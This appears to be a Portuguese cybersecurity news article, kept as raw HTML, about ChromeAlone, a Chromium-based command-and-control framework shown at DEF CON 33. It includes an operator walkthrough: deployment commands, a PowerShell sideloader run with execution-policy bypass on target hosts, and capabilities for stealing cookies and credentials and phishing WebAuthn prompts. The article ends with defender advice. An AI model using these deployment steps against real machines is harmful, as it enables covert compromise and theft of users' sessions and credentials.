Código HTML do Conteúdo

Post: ChromeAlone - Um Cobalt Strike baseado em navegador como a ferramenta C2 que transforma o Chrome em um playground de hackers - Against Invaders - Notícias de CyberSecurity para humanos.


<div> <div> <p>Na DEF CON 33, o pesquisador de seguran&ccedil;a Mike Weber, da Praetorian Security, revelou o ChromeAlone &ndash; um <em>Estrutura de Comando e Controle (C2) do navegador baseado em Chromium</em> capaz de substituir implantes de seguran&ccedil;a ofensivos tradicionais como <a href="https://gbhackers.com/hackers-deploy-cobalt-strike-beacon/" rel="noreferrer noopener" target="_blank">Golpe de cobalto</a> ou <a href="https://gbhackers.com/metasploit-module-exploit-sharepoint-vulnerabilities/" rel="noreferrer noopener" target="_blank">Meterpreter</a>.</p> <p>N&atilde;o muito tempo atr&aacute;s, os navegadores da web eram pouco mais do que wrappers para solicita&ccedil;&otilde;es HTTP. Hoje, s&atilde;o plataformas complexas e repletas de recursos, t&atilde;o sofisticadas que se assemelham a sistemas operacionais completos. Essa evolu&ccedil;&atilde;o traz conveni&ecirc;ncia, mas tamb&eacute;m uma superf&iacute;cie de ataque massiva.</p> <p>O ChromeAlone &eacute; uma estrutura de c&oacute;digo aberto que transforma essa complexidade em uma arma, usando recursos integrados do Chrome para replicar os recursos de um implante tradicional de Comando e Controle (C2), ao mesmo tempo em que passa pela maioria dos sistemas de detec&ccedil;&atilde;o de endpoint.</p> <p>O que diferencia o ChromeAlone &eacute; sua discri&ccedil;&atilde;o: ele se esconde inteiramente nos recursos nativos do Chromium, evitando as pegadas &oacute;bvias de malware que <a href="https://gbhackers.com/zig-strike-new-offensive-toolkit/" rel="noreferrer noopener" target="_blank">Detec&ccedil;&atilde;o e resposta de endpoint</a> (EDR) geralmente procuram.</p> <p>O ChromeAlone carrega componentes maliciosos no navegador sem intera&ccedil;&atilde;o do usu&aacute;rio, aproveitando:</p> <ul> <li><strong>APIs nativas do Chrome</strong> para persist&ecirc;ncia.</li> <li><strong>WebAssembly (WASM)</strong> para ofusca&ccedil;&atilde;o e anti-an&aacute;lise.</li> <li><strong>Aplicativos Web e extens&otilde;es isolados</strong> como mecanismos de entrega.</li> <li><strong>Abuso de recursos do navegador</strong> para evitar descartar bin&aacute;rios suspeitos no disco.</li> </ul> <p>O resultado &eacute; um implante furtivo e altamente capaz que se mistura &agrave; atividade leg&iacute;tima do navegador &ndash; um desafio para os sistemas antiv&iacute;rus e EDR tradicionais que se concentram em arquivos execut&aacute;veis em vez de extens&otilde;es de navegador ou processos internos.</p> <h2 id="h-why-chromealone-is-a-big-deal"><strong>Por que o ChromeAlone &eacute; um grande neg&oacute;cio</strong></h2> <p>De acordo com o reposit&oacute;rio, os implantes ChromeAlone podem:</p> <ul> <li>Atuar como um <strong>Proxy TCP SOCKS</strong> do hospedeiro infectado.</li> <li><strong>Roubar sess&otilde;es do navegador</strong> e credenciais armazenadas.</li> <li>Executar execut&aacute;veis <em>diretamente do Chrome</em>.</li> <li><strong>Prompts do Phish WebAuthn</strong> de YubiKeys, Titan Security Keys e outros autenticadores f&iacute;sicos.</li> <li>Manter a persist&ecirc;ncia <strong>sem bin&aacute;rios tradicionais</strong> &mdash; usando apenas a funcionalidade integrada do Chrome.</li> </ul> <p>Para os membros da equipe vermelha, isso significa furtividade e flexibilidade. Para os defensores, isso significa mais um lugar para procurar invas&otilde;es: o pr&oacute;prio navegador.</p> <h2 id="h-step-by-step-operator-guide-to-chromealone"><strong>Guia passo a passo do operador para o ChromeAlone</strong></h2> <p>Enquanto a ferramenta foi <a href="https://github.com/mandatoryprogrammer/CursedChrome" rel="noreferrer noopener nofollow" target="_blank">Lan&ccedil;ado</a> para pesquisa e testes autorizados, seu README detalha um pipeline de implanta&ccedil;&atilde;o completo. Aqui est&aacute; o tutorial destilado.</p> <h3 id="h-1-build-the-docker-image"><strong>1. Crie a imagem do Docker</strong></h3> <pre><code>docker build -t chromealone </code></pre> <h3 id="h-2-deploy-the-infrastructure"><strong>2. Implante a infraestrutura</strong></h3> <p>O ChromeAlone &eacute; compat&iacute;vel com dois modos de implanta&ccedil;&atilde;o:</p> <h4 id="h-option-a-fresh-aws-deployment"><strong>Op&ccedil;&atilde;o A &ndash; Nova implanta&ccedil;&atilde;o da AWS</strong></h4> <p><strong>Requisitos:</strong></p> <ul> <li>Conta da AWS com: <ul> <li>Permiss&otilde;es completas de grava&ccedil;&atilde;o do EC2</li> <li>Gerenciamento de DNS do Route53</li> <li>Pelo menos uma zona hospedada com um dom&iacute;nio registrado</li> </ul> </li> <li>Credenciais da AWS CLI armazenadas em <code>~/.aws/credentials</code></li> </ul> <p><strong>Comando:</strong></p> <pre><code>docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService </code></pre> <ul> <li><code>--domain</code> deve corresponder a um dom&iacute;nio do Route53 que voc&ecirc; controla.</li> <li><code>--appname</code> &eacute; usado para chaves e pastas do Registro &mdash; escolha algo in&oacute;cuo.</li> </ul> <p><strong>Sa&iacute;das:</strong></p> <ul> <li><strong><code>output/client</code></strong> &ndash; Console de gerenciamento baseado na Web</li> <li><strong><code>output/sideloader.ps1</code></strong> &ndash; Instalador do PowerShell para o destino</li> <li><strong><code>output/extension</code></strong> &ndash; Extens&atilde;o maliciosa do Chrome</li> <li><strong><code>output/iwa</code></strong> &ndash; Pacote de aplicativos da Web isolados maliciosos</li> <li><strong><code>output/relay-deployment</code></strong> &ndash; Artefatos Terraform e chave SSH para host AWS</li> </ul> <h4 id="h-option-b-using-existing-deployment"><strong>Op&ccedil;&atilde;o B &ndash; Usando a implanta&ccedil;&atilde;o existente</strong></h4> <p>Se voc&ecirc; j&aacute; tiver um servidor implantado, aponte o ChromeAlone para seu <code>terraform.tfvars</code>:</p> <pre><code>docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService </code></pre> <p>Isso regenera sideloaders e extens&otilde;es maliciosas <strong>sem reimplantar a infraestrutura</strong>.</p> <h3 id="h-3-install-on-target-hosts"><strong>3. Instale nos hosts de destino</strong></h3> <p>Copiar <code>sideloader.ps1</code> para o destino e executar:</p> <pre><code>powershell.exe -ExecutionPolicy Bypass -File .sideloader.ps1 </code></pre> <p><strong>Sinalizadores opcionais:</strong></p> <ul> <li><code>-InstallNativeMessagingHost $true</code> &rarr; Necess&aacute;rio para comandos shell</li> <li><code>-ForceRestart $true</code> &rarr; For&ccedil;a a reinicializa&ccedil;&atilde;o do Chrome para ativa&ccedil;&atilde;o imediata</li> </ul> <p>A execu&ccedil;&atilde;o normalmente leva <strong>20 a 30 segundos</strong>.</p> <h3 id="h-4-operating-chromealone"><strong>4. Operando o ChromeAlone</strong></h3> <p>Depois de implantado, abra:</p> <pre><code>output/client/index.html </code></pre> <p>Este webapp pr&eacute;-configurado se conecta ao <strong>PLANO DE BATALHA</strong> servidor de retransmiss&atilde;o.</p> <p>A partir daqui, os operadores podem:</p> <ul> <li><strong>Hist&oacute;rico de despejo e cookies</strong></li> <li><strong>Capturar credenciais</strong></li> <li><strong>Acionar prompts do WebAuthn</strong></li> <li><strong>Procurar sistema de arquivos</strong></li> <li><strong>Executar comandos do shell</strong></li> </ul> <h3 id="h-5-socks-proxying"><strong>5. Proxy de SOCKS</strong></h3> <p>Each host infectado tem uma porta SOCKS exclusiva mostrada no painel &ldquo;Informa&ccedil;&otilde;es do agente&rdquo;.</p> <p>Exemplo:</p> <pre><code>proxychains -q socks5 admin:thisisnotarealpassword@chrome.alone:1081 curl http://ifconfig.me </code></pre> <h2 id="h-chromealone-s-inner-workings"><strong>Funcionamento interno do ChromeAlone</strong></h2> <p>O reposit&oacute;rio se divide em componentes especializados:</p> <ul> <li><strong>PLANO DE BATALHA</strong> &ndash; Servidor de gerenciamento + scripts de implanta&ccedil;&atilde;o da AWS</li> <li><strong>MA&Ccedil;ARICO</strong> &ndash; Aplicativo da Web isolado para proxy SOCKS e comunica&ccedil;&otilde;es WebSocket</li> <li><strong>MA&Ccedil;ANETA</strong> &ndash; Gerador de sideloader PowerShell</li> <li><strong>RODAS QUENTES</strong> &ndash; Extens&atilde;o maliciosa do Chrome (recursos baseados em WebAssembly)</li> <li><strong>BALDE DE TINTA</strong> &ndash; Scripts de phishing WebAuthn</li> </ul> <p>Embora o ChromeAlone seja uma ferramenta leg&iacute;tima de teste de penetra&ccedil;&atilde;o, ele demonstra uma tend&ecirc;ncia crescente: o armamento do software do dia a dia. Os navegadores est&atilde;o se tornando cada vez mais <em>ambos</em> o vetor de ataque e o centro de comando.</p> <p>Os defensores devem:</p> <ul> <li>Monitore extens&otilde;es de navegador suspeitas.</li> <li>Audite a atividade do WebAuthn em busca de anomalias.</li> <li>Fique atento ao tr&aacute;fego WebSocket/SOCKS de sa&iacute;da inesperado.</li> </ul> <p><strong><strong>Ache esta not&iacute;cia interessante! Siga-nos no<a href="https://news.google.com/publications/CAAqKAgKIiJDQklTRXdnTWFnOEtEV2RpYUdGamEyVnljeTVqYjIwb0FBUAE?hl=en-IN&amp;gl=IN&amp;ceid=IN%3Aen" rel="noreferrer noopener" target="_blank">Google Not&iacute;cias</a>,<a href="https://www.linkedin.com/company/cyber-threat-intel/" rel="noreferrer noopener" target="_blank">LinkedIn</a>, &amp;<a href="https://x.com/The_Cyber_News" rel="noreferrer noopener" target="_blank">X</a>para obter atualiza&ccedil;&otilde;es instant&acirc;neas!</strong></strong></p> </div></div>